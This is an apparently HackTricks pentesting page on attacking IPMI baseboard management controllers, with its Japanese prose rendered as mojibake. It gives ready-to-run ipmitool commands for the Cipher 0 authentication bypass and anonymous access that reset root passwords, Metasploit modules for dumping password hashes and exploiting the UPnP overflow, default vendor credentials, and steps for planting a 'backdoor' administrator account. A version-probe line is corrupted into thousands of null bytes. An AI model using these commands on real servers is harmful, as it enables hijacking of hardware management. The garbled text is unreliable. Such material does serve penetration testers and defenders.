26 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
- ããªãã¯ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿã§åããŠããŸããïŒ HackTricksã§ããªãã®äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
- The PEASS FamilyãçºèŠããŸããããç§ãã¡ã®ç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³
- å ¬åŒã®PEASSïŒHackTricks swagãæã«å ¥ããŸããã
- ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ããðŠ@carlospolopm.
- ãããã³ã°ã®ããªãã¯ãå ±æããããã«ãhacktricks repo ãš hacktricks-cloud repo ã«PRãæåºããŠãã ããã
åºæ¬æ å ±
Intelligent Platform Management Interface (IPMI
)ã¯ãã·ã¹ãã 管çãšç£èŠã«äœ¿çšãããããŒããŠã§ã¢ããŒã¹ã®ãã¹ã管çã·ã¹ãã ã®ããã®æšæºåãããä»æ§ã§ããIPMIã¯èªåŸçãªãµãã·ã¹ãã ãšããŠæ©èœãããã¹ãã®BIOSãCPUããã¡ãŒã ãŠã§ã¢ãããã³åºç€ãšãªããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãšã¯ç¬ç«ããŠåäœããŸããIPMIã¯ãã·ã¹ãã ãé»æºãªããŸãã¯å¿çããªãç¶æ
ã§ãã£ãŠããã·ã¹ãã 管çè
ãã·ã¹ãã ã管çããã³ç£èŠããèœåãæäŸããŸããIPMIã¯ãã·ã¹ãã ã®ããŒããŠã§ã¢ã«çŽæ¥ãããã¯ãŒã¯æ¥ç¶ã䜿çšããŠåäœãããã°ã€ã³ã·ã§ã«ãä»ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ã¯å¿
èŠãããŸãããIPMIã¯ãç©ççãªã¢ã¯ã»ã¹ãªãã§ã·ã¹ãã ã®ãªã¢ãŒãã¢ããã°ã¬ãŒãã«ã䜿çšã§ããŸããIPMIã¯éåžžã次ã®3ã€ã®æ¹æ³ã§äœ¿çšãããŸãïŒ
- OSãèµ·åããåã«BIOSèšå®ãå€æŽãããã
- ãã¹ããå®å šã«é»æºãªãã®å Žå
- ã·ã¹ãã é害åŸã®ãã¹ããžã®ã¢ã¯ã»ã¹
ãããã®ã¿ã¹ã¯ã«äœ¿çšãããªãå ŽåãIPMIã¯ã·ã¹ãã ã®æž©åºŠãé»å§ããã¡ã³ã®ç¶æ ãé»æºäŸçµŠãªã©ãããŸããŸãªãã®ãç£èŠããããšãã§ããŸãããŸããã€ã³ãã³ããªæ å ±ã®ã¯ãšãªãããŒããŠã§ã¢ãã°ã®ç¢ºèªãSNMPã䜿çšããã¢ã©ãŒããè¡ãããšãã§ããŸãããã¹ãã·ã¹ãã ã¯é»æºãªãã«ãªã£ãŠããå Žåã§ããIPMIã¢ãžã¥ãŒã«ã«ã¯é»æºãšLANæ¥ç¶ãå¿ èŠã§ãã
IPMIãããã³ã«ã¯ãIntelã«ãã£ãŠ1998幎ã«åããŠå ¬éãããçŸåšã¯CiscoãDellãHPãSupermicroãIntelãªã©ãå«ã200以äžã®ã·ã¹ãã ãã³ããŒã«ãã£ãŠãµããŒããããŠããŸããIPMIããŒãžã§ã³2.0ã䜿çšããã·ã¹ãã ã¯ãã·ãªã¢ã«ãªãŒããŒLANãä»ããŠç®¡çã§ãããããã·ã¹ãã 管çè ã¯ãã³ãå ã§ã·ãªã¢ã«ã³ã³ãœãŒã«åºåã衚瀺ããããšãã§ããŸããIPMIã®åäœã«ã¯ã次ã®ã³ã³ããŒãã³ããå¿ èŠã§ãïŒ
- ããŒã¹ããŒã管çã³ã³ãããŒã©ïŒBMCïŒ- IPMIã®ãã€ã¯ãã³ã³ãããŒã©ãŒã§ãããå¿ é ã®ã³ã³ããŒãã³ãã§ã
- ã€ã³ããªãžã§ã³ãã·ã£ãŒã·ç®¡çãã¹ïŒICMBïŒ- 1ã€ã®ã·ã£ãŒã·ããå¥ã®ã·ã£ãŒã·ãžã®éä¿¡ãèš±å¯ããã€ã³ã¿ãŒãã§ãŒã¹
- ã€ã³ããªãžã§ã³ããã©ãããã©ãŒã 管çãã¹ïŒIPMBïŒ- BMCãæ¡åŒµããŸã
- IPMIã¡ã¢ãª- ã·ã¹ãã ã€ãã³ããã°ããªããžããªã¹ãã¢ããŒã¿ãªã©ãä¿åããŸã
- éä¿¡ã€ã³ã¿ãŒãã§ãŒã¹- ããŒã«ã«ã·ã¹ãã ã€ã³ã¿ãŒãã§ãŒã¹ãã·ãªã¢ã«ããã³LANã€ã³ã¿ãŒãã§ãŒã¹ãICMBããã³PCI管çãã¹
ããã©ã«ãããŒã: 623/UDP/TCPïŒéåžžã¯UDPã§å®è¡ãããŸãããTCPã§å®è¡ãããå ŽåããããŸãïŒ
åæ
çºèŠ
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
次ã®æ¹æ³ã§ããŒãžã§ã³ãç¹å®ã§ããŸãïŒ
nmap -p 623 --script ipmi-version <target>
ãŸãã¯ã以äžã®ã³ãã³ãã䜿çšããŠããŒãžã§ã³ãååŸã§ããŸãïŒ
echo -e '\x06\x00\x00\x00\x00\x01\x00\x06\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
èåŒ±æ§ - æå·0ãä»ããIPMIèªèšŒãã€ãã¹
Dan Farmerã¯ãIPMI 2.0ä»æ§ã®é倧ãªäžåãç¹å®ããŸãããå ·äœçã«ã¯ãã¯ã©ã€ã¢ã³ããã¯ãªã¢ããã¹ãèªèšŒã䜿çšãããããšã瀺ãæå·ã¿ã€ã0ããå®éã«ã¯ä»»æã®ãã¹ã¯ãŒãã§ã¢ã¯ã»ã¹ãèš±å¯ããŠããŸããšãããã®ã§ããCipher 0ã®åé¡ã¯ãHPãDellãããã³Supermicro BMCã§ç¹å®ãããŸãããããããããã¹ãŠã®IPMI 2.0å®è£ ã«åœ±é¿ãåãŒããŠããå¯èœæ§ããããŸãã ãã®åé¡ãæªçšããã«ã¯ããŸãæå¹ãªãŠãŒã¶ãŒãèŠã€ããå¿ èŠããããŸãã
次ã®æ¹æ³ã§ãã®åé¡ãç¹å®ããããšãã§ããŸãïŒ
use auxiliary/scanner/ipmi/ipmi_cipher_zero
ãããŠãipmitool
ã䜿çšããŠãã®åé¡ãæªçšããããšãã§ããŸãïŒ
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
èåŒ±æ§ - IPMI 2.0 RAKPèªèšŒãªã¢ãŒããã¹ã¯ãŒãããã·ã¥ã®ååŸ
åºæ¬çã«ããµãŒããŒã«å¯ŸããŠä»»æã®ãŠãŒã¶ãŒåã®ãœã«ãä»ãããã·ã¥åãããMD5ãšSHA1ãèŠæ±ããããšãã§ãããŠãŒã¶ãŒåãååšããå Žåããããã®ããã·ã¥ãéä¿¡ãããŸãã ä¿¡ããããªãã»ã©çŽ æŽãããã§ããããããŠãããããã¹ãããããã®ã¡ã¿ã¹ããã€ãã¢ãžã¥ãŒã«ããããŸãïŒJohnãHashcat圢åŒã®åºåãéžæã§ããŸãïŒ:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
ãã®å Žåããã«ãŒããã©ãŒã¹æ»æã«äœ¿çšãããŠãŒã¶ãŒåã®ãªã¹ããå¿ èŠã§ãïŒMetasploitã«ã¯ããã©ã«ãã®ãŠãŒã¶ãŒåãå«ãŸããŠããŸãïŒã
ipmitool
ã䜿çšããŠèªèšŒããã€ãã¹ïŒ-c 0
ïŒããã«ãŒããã¹ã¯ãŒããabc123ã«å€æŽããŸãïŒ
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
èåŒ±æ§ - IPMIå¿åèªèšŒ
äžèšã®èªèšŒã®åé¡ã«å ããŠãDan Farmerã¯å€ãã®BMCãããã©ã«ãã§ãå¿åãã¢ã¯ã»ã¹ãæå¹ã«ãªã£ãŠããããšã«æ°ä»ããŸãããããã¯ãæåã®ãŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãŠãŒã¶ãŒåã空ã®æååã«èšå®ãã空ã®ãã¹ã¯ãŒããèšå®ããããšã§æ§æãããŸãã_ipmi_dumphashes_ã¢ãžã¥ãŒã«ã¯ãnullãŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãããã·ã¥ïŒç©ºã®ãã¹ã¯ãŒããå«ãïŒãç¹å®ããŠãã³ãããŸãããã®ã¢ã«ãŠã³ãã¯åç¬ã§ã¯äœ¿çšããã®ãé£ãããããããŸããããipmitool
ãå©çšããŠååä»ããŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãããªã»ãããããã®ã¢ã«ãŠã³ããä»ã®ãµãŒãã¹ãžã®ã¢ã¯ã»ã¹ã«å©çšããããšãã§ããŸãã
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
èåŒ±æ§ - Supermicro IPMIã®å¹³æãã¹ã¯ãŒã
IPMI 2.0ã®ä»æ§ã§ã¯ãBMCã¯SHA1ãMD5ãªã©ã®HMACããŒã¹ã®èªèšŒæ¹åŒã«å¿çããããšãæ±ããããŠããŸãããã®èªèšŒããã»ã¹ã«ã¯ã以åã®äŸã§ç€ºãããããã«ããã€ãã®æ·±å»ãªåŒ±ç¹ããããŸãããåæã«èªèšŒããã·ã¥ãèšç®ããããã«å¹³æãã¹ã¯ãŒããžã®ã¢ã¯ã»ã¹ãå¿
èŠã§ããã€ãŸããBMCã¯èšå®ããããã¹ãŠã®ãŠãŒã¶ãŒãã¹ã¯ãŒãã®å¹³æããŒãžã§ã³ãéæ®çºæ§ã¹ãã¬ãŒãžã®ã©ããã«ä¿åããå¿
èŠããããŸããSupermicroã®å Žåããã®å Žæã¯ãã¡ãŒã ãŠã§ã¢ã®ããŒãžã§ã³ã«ãã£ãŠç°ãªããŸããã**/nv/PSBlock
ãŸãã¯/nv/PSStore
**ã®ããããã§ãããã¹ã¯ãŒãã¯ããŸããŸãªãã€ããªãããã«æ£ãã°ã£ãŠããŸããããŠãŒã¶ãŒåã®åŸã«å¿
ãç¶ããããå
±æãã¹ã¯ãŒãã䜿çšããçµç¹ãç°ãªãã¿ã€ãã®ããã€ã¹ã«ãšã£ãŠæ·±å»ãªåé¡ã§ãã
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
èåŒ±æ§ - Supermicro IPMI UPnP
Supermicroã®æè¿ã®ãã¶ãŒããŒãã®IPMIãã¡ãŒã ãŠã§ã¢ã«ã¯ãUDPããŒã1900ã§å®è¡ãããUPnP SSDPãªã¹ããŒãå«ãŸããŠããŸããSMT_X9_218ããåã®ããŒãžã§ã³ã§ã¯ããã®ãµãŒãã¹ã¯Intel SDK for UPnP Devicesã®ããŒãžã§ã³1.3.1ãå®è¡ããŠããŸããããã®ããŒãžã§ã³ã¯ã2013幎2æã«Rapid7ãå ¬éããåé¡ã«å¯ŸããŠè匱ã§ãããã®ãã©ãããã©ãŒã ãžã®ãšã¯ã¹ããã€ãã¯ãMetasploit Frameworkã®äžéšãšããŠæäŸãããŠããŸãããã®æ»æã®èå³æ·±ãç¹ã¯ãããã«ãã£ãŠBMCãžã®å®å šãªã«ãŒãã¢ã¯ã»ã¹ãåŸãããããšã§ããããã¯ä»ã®æ¹æ³ã§ã¯é£ããããšã§ãã管çè ã¢ã¯ã»ã¹æš©éãæã€æ»æè ã¯ããããã¯ãŒã¯çµç±ãŸãã¯ãã¹ãã·ã¹ãã ã®ã«ãŒãã·ã§ã«ãããSupermicro BMCã®ãã¡ãŒã ãŠã§ã¢ãè匱ãªããŒãžã§ã³ã«ããŠã³ã°ã¬ãŒãããŠãããšã¯ã¹ããã€ãããããšãã§ããŸããrootã¢ã¯ã»ã¹ãååŸããããšããã¡ã€ã«ã·ã¹ãã ããã¯ãªã¢ããã¹ãã®è³æ Œæ å ±ãèªã¿åãããšãã§ããè¿œå ã®ãœãããŠã§ã¢ãã€ã³ã¹ããŒã«ãããã¹ãã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®å®å šãªåã€ã³ã¹ããŒã«ã«ãèããããã¯ãã¢ãBMCã«çµ±åããããšãå¯èœã§ãã
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute ForceïŒãã«ãŒããã©ãŒã¹æ»æïŒ
ãã ããHPã®ã¿ã補é ããã»ã¹äžã«ãã¹ã¯ãŒããã©ã³ãã åããŠããŸãã
補åå | ããã©ã«ãã®ãŠãŒã¶ãŒå | ããã©ã«ãã®ãã¹ã¯ãŒã |
---|---|---|
HP Integrated Lights Out (iLO) | Administrator | <å·¥å Žã§ã©ã³ãã åããã8æåã®æåå> |
Dell Remote Access Card (iDRAC, DRAC) | root | calvin |
IBM Integrated Management Module (IMM) | USERID | PASSW0RDïŒãŒãã䜿çšïŒ |
Fujitsu Integrated Remote Management Controller | admin | admin |
Supermicro IPMI (2.0) | ADMIN | ADMIN |
Oracle/Sun Integrated Lights Out Manager (ILOM) | root | changeme |
ASUS iKVM BMC | admin | admin |
BMCãããã¹ããžã®æ»æ
BMCãžã®ç®¡çã¢ã¯ã»ã¹ãååŸãããå Žåããã¹ããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãååŸããããã«äœ¿çšã§ããããã€ãã®æ¹æ³ããããŸããæãçŽæ¥çãªæ¹æ³ã¯ãBMCã®KVMæ©èœãæªçšããŠãã¹ããåèµ·åããã«ãŒãã·ã§ã«ïŒGRUBã§init=/bin/shïŒã«ã¢ã¯ã»ã¹ããããä»®æ³CD-ROMãšããŠã¬ã¹ãã¥ãŒãã£ã¹ã¯ãæå®ããŠèµ·åããããšã§ãããã¹ãã®ãã£ã¹ã¯ãžã®çŽæ¥ã¢ã¯ã»ã¹ãååŸããããšãããã¯ãã¢ãå°å ¥ããããããŒããã©ã€ãããããŒã¿ãã³ããŒããããã»ãã¥ãªãã£è©äŸ¡ã®äžç°ãšããŠå¿ èŠãªããšãäœã§ãè¡ãããšãã§ããŸãããã¡ããããã®æ¹æ³ã䜿çšããã«ã¯ãã¹ããåèµ·åããå¿ èŠããããŸãããã¹ããžã®ã¢ã¯ã»ã¹ãååŸããããšã¯ã¯ããã«å°é£ã§ããããã¹ããå®è¡ããŠãããã®ã«äŸåããŸãããã¹ãã®ç©çã³ã³ãœãŒã«ããã°ã€ã³ããããŸãŸã«ãããŠããå Žåãçµã¿èŸŒã¿ã®KVMæ©èœã䜿çšããŠãããä¹ã£åãããšã¯éåžžã«ç°¡åã§ããã·ãªã¢ã«ã³ã³ãœãŒã«ã«ãåãããšãåœãŠã¯ãŸããŸã - ã·ãªã¢ã«ããŒããèªèšŒãããã»ãã·ã§ã³ã«æ¥ç¶ãããŠããå ŽåãBMCã¯ipmitoolã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠãã®ããŒããä¹ã£åãããšãèš±å¯ããå ŽåããããŸããi2cãã¹ãSuper I/Oããããªã©ã®å ±æããŒããŠã§ã¢ãžã®ã¢ã¯ã»ã¹ãæªçšããæ¹æ³ã¯ããããªãç 究ãå¿ èŠã§ãã
ãã¹ãããBMCãžã®æ»æ
BMCãæèŒãããã¹ãã䟵害ãããå ŽåãBMCãžã®ããŒã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠããã¯ãã¢ãŠãŒã¶ãŒã¢ã«ãŠã³ããå°å
¥ãããããããµãŒããŒã«æ°žç¶çãªç«å Žã確ç«ããããšãã§ããŸãããã®æ»æã«ã¯ããã¹ãã«**ipmitool
**ãã€ã³ã¹ããŒã«ãããŠãããBMCã®ããã®ãã©ã€ããŒãµããŒããæå¹ã«ãªã£ãŠããå¿
èŠããããŸãã以äžã®äŸã¯ãèªèšŒãå¿
èŠãšããªããã¹ãäžã®ããŒã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠãBMCã«æ°ãããŠãŒã¶ãŒã¢ã«ãŠã³ãã泚å
¥ããæ¹æ³ã瀺ããŠããŸãããã®æ¹æ³ã¯ãLinuxãWindowsãBSDãããã«ã¯DOSã®ã¿ãŒã²ããã«å¯ŸããŠæ®éçã«äœ¿çšã§ããŸãã
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
åèæç®
- https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
- https://academy.hackthebox.com/module/112/section/1245
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
